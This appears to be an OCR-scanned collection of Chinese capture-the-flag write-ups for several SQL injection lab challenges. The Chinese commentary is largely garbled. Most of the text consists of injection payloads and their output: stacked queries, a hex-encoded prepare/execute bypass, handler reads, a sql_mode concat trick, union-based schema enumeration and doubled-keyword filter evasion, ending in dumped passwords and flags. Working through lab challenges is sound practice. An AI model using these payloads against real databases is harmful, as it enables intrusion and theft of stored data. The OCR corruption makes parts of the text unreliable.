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g (1or1-1 ¢ mxran
:array(Zj [
[o]=>
string (1) "17
[1]=>
string (7) “hahahah™
}
array(2) |
[o]=>
string (1) “2°
[1]=>
string(12) "miaomiaomiac”
}
array(2) |
[o]=>
string(8) “114514”
[1]=>
string(2) “ys”
} CSON
order by HiF
8 11" order by 12 B
array(2) {
(ol=>
string(1) “17
[1]=>
string(7) “hahahah”
}
2280 |1 order by 22 2arsig
array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”
}
Z258 11" order by 3# bty ]|

error 1054 : Unknown column * 27 in  order clause’

union select 1,2;



ZZE 11" union select 1,2# BEE

return prez_matchl”/select |update|delete|drop |insert |where [N /17, 3inject);

show databases;

228 |1 show databases; # 2arsig

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”
}

array(l) |
[o]=>
string(11) “ctftraining”

}

array(1) |
[o]=>
string (18) “information_schema”

}

array(l) |
(o]=>
string (5) “mysqgl”

}

array(1) |
[o]=>
string (18) “performance_schema”

}

array(l) |
[o]=>
string(9) “supersqli”

}

array(1) |
[o]=>
string(4) "test”

}



show tables;

ZiA. |1' :show tables; || 23Sy |

array(2) {

(ol=>

string(1) “17

[1]=>

string(7) “hahahah”
}

arrayil) |

[ol=>

string(16) “1019810931114514"
}

array(l) {
[ol=>
string (5) “words”

}

TAL B iE A

prepare...from.. R HEiER), S#HTHRLHER.
execute k47 E1SQLPrepare ) 2 K SQLIE ] .
SELECTR AME— 1B A B X £ AN & F I R E, TISETH fE— R — AN BB WAE .

select * from 1919810931114514°

¢
REER | ssnE | tRES
T3 65 6c 65 63 T4 20 2a 20 66 T2 6f 6d 20 60 31 39 31 39 38 31 30 39 33 31 3 3ﬁ-£f}?q ﬁﬁrﬁgrﬁg

1';SeT@half=0x73656c656374202a206672616d20603139313938313039333131313435313460; prepare execsql from @half;execut
e execsql;#

handler

1'; handler "1919810931114514° open as ~half ; handler “half  read next;#



arrayil) |

[ol=>

string (42) “flas {cdaeZbal-8clc-4f46-05h4-88572afBald7)
}
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Give me your flag, | will tell you if the flag is right.
1 =00

Array ([0] == 1)

AW PR E R BT RITEAN
AU AL ORISR, A EE, SRR A

Give me your flag, | will tell you if the flag is right.
11 =00

Array ([0] == 0)

HiAla, BEEE, WAKTH, WRRFHHUKE, SETEEHFELR, £1a=1

Give me your flag, | will tell you if the flag is right.
1a =500

A RS L& &

1. BREEH— RS HWr =B %, orderby
HIWr B BUS, Fi#{Tunion select

Give me your flag, | will tell you if the flag is right.
1 order by 1 # IE==0)

Nonono.
R REEEWIEN

H W 5 Al P HEBIEA



1;show databases;

Give me your flag, | will tell you if the flag is right.
1;show databases;# | | s |

Array ([0] == 1) Array ( [0] == ctf) Array ( [0] => ctftraining ) Array ( [0] == information_schema ) Array ( [0] => mysqgl ) Array ( [0] =>
performance_schema ) Array ( [0] => test)

1;show tables;

Give me your flag, | will tell you if the flag is right.
1;show tables; || 23S |

Array ([0] == 1) Array ( [0] == Flag )

1;show columns from Flag

Give me your flag, | will tell you if the flag is right.
| show columns from Flag | | i2rEn |

Nonono.

|4 3 ¢ 4
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Give me your flag, | will tell you if the flag is right.
(324235 =500

Array ([0] == 1)

=& WA KIsql_mode

Give me your flag, | will tell you if the flag is right.
|1;select @@sql_mode; | | i) |

Array ([0] == 1) Array ( [0] == STRICT_TRANS TABLES,ERROR_FOR _DIVISION BY ZERO,NO_AUTO CREATE _USER,NO_ENGINE_SUBSTITUTION )

Yo B LR ) R or BIVE T, F N, 1R

Give me your flag, | will tell you if the flag is right.
=1 =00

Array ( [0] => flag{3c07e971-8662-42d2-b873-ce473846a10b} [1] => 1)

f§ FISETi&%sql_mode, LA |2 EEFFFHIMEH A\ 1;set sql_mode=PIPES_AS_CONCAT;select 1

Give me your flag, | will tell you if the flag is right.
|ES_AS_CONCAT;select 1| | 122521 |

Array ([0] == 1) Array ( [0] == 1flag{3c07e971-8662-42d2-b873-ce473846a10b} )
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B 4. admin
M. 1 or1=1#

S
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A1
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Ly Norderby 4, ZiRHBE, WHZRE=ANFR

18e6bh6077e6f3228470af R

AT T LN

Unknown column '4' in "order dause’

admin’ union select 1,2,3 #

Y | __'Hello admin!
ot _ Your password is
N ACT NUR'a4b00d9f68a8e6bb6977e6f32284f8af

BHE TadminfI g R, BABERBHEMAPAGEE, BAmSHRBEEHRE R A1 union select 1,2,3#

", Hello 2!
i/~ Your passworthisid

&




i fEH

version() BE B E R A
database() B E Bl B 4
user() BERHF4

@@version_compile_os BEEERGRA

#1A1 union select 1,database(),user()}#

. Your password is ‘rgai@lag

Héllo geek!

3 21503 2 N geek

1' union select 1,2,group concat(table_name) from information_schema.tables where table_schema=database()#

"Hello 2!

1 Your password is 'gge

BRERA

1' union select 1,2,group_concat(column_name) from information_schema.columns where table schema=database() and

table_name='geekuser'#

1' union select 1,2,group_concat(column_name) from information_schema.columns where table schema=database() and

table name='l@velysql'#

ute; ">Helle 2! </p>

ute; ">¥Your password 1s "id,username,password’</p>

BRI T B4, PADERRNTBA



1' union select 1,2,group _concat(id,username,password) from geekuser#

1' union select 1,2,group_concat(id,username,password) from lOvelysql#

geekuser$ i %

<br»
<p style="font-family:arial;color:#ffffff;font-size:38px;left:650px;position:absolute; ">Hello 2! </p>»
<br>»
<br>»
<p style="font-family:arial;color:#ffffff;font-size:38px;left:600px;position: absolute; ™ ED
Your password is "ladminasbeedofesatesbbes77ecf32284f8af"

Ovelysq1 g #

Hello 2!
Your password.is sish

"1cldywo _tai_nan_le 29|Zjlng|Zjln‘
a906-4339-b0f7-684ebfa§f63f}:

ZEFEAK, ARAE, BFEEG, 24

Your password is 'lcl4ywo_tai_nan_le
2glzjinglzjin_wants_a_girlfriend
3Z4cHAr7zCrbiao_ge_dddd_hm
40xC4m311inux_chuang_shi_ren
S5Ayraina_rua_rain
6Akkoyan_shi_fu_de_mao_bo_he
7fouc5clay

8fouc5di_2_kuai_fu_ji
9fouc5di_3_kuai_fu_ji

10fouc5di_4 kuai_fu_ji
11fouc5di_5_kuai_fu_ji
12fouc5di_6_kuai_fu_ji
13fouc5di_7_kuai_fu_ji

14fouc5di_8 kuai_fu_ji
151leixiaoSyc_san_da_hacker
l6flagflag{37153cl5-ae@6-433e-bOf7-684ebfa5f63f}"
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esponds,to your MariaDB server version for the right syntax to use near '1=1#" and
{pagsword="1""atline 1

B ged

Hello admin!

Your password is
'cea63d3d3f3896d64e2706098897999f




Unknown column-'4"in 'order clause’

Zaidunion. select
%A1’ ununionion seselectlect 1,database(),user()#

Hello geek!

Yqur password is root@localhost’

gentfrom. where
1" ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere
table_schema='geek’#

.Hello 2!

Y(__j.ur password is 'b4bsql,geekuser’

b4bsql%i#E =&
1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere
table_name='b4bsql'#



geekuser#$#E %

1" ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere

table_name=‘geekuser'#

. iHello 2!

. Your password is
= 'id;username, password'

MAFEEE RS R, BHESfag

1’ ununionion seselectlect 1,2,group_concat(schema_name)frffromom infoorrmation_schema.schemata #

Hello 2!

Your password is
pforme&lon -schiema, mysql,performance_schema,test,ctf,geek’

1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere

table_schema='ctf#

Bao 21
Yo‘ur’ password IS 'Flag

1’ ununionion seselectlect 1,2,group_concat(column_name) friromom infoorrmation_schema.columns whwhereere

table_name=‘Flag'#

Hello 2'

Yo‘ur’ password is flag’




1" ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#

Hello 2! -

- \_@r pa;séwe;;a i_s_ ‘flag{cb56e89d-815e-4ef1-b68f-6451cb443¢28)
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